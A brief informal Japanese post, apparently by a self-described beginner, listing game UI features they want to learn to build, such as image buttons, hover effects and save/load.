単に今俺がこれから勉強したいと思ってるからだけど。 そこから、ボタンを押す。押すと押した絵に変わる。 マウスが上に来ると絵が大きくなるとか、枠が出るとか。 もしくはのちのち、何かのジャンルのゲームで頻繁に使いそうなやつ。 セーブロードとかさ。初心者が言うのもあれだけど。
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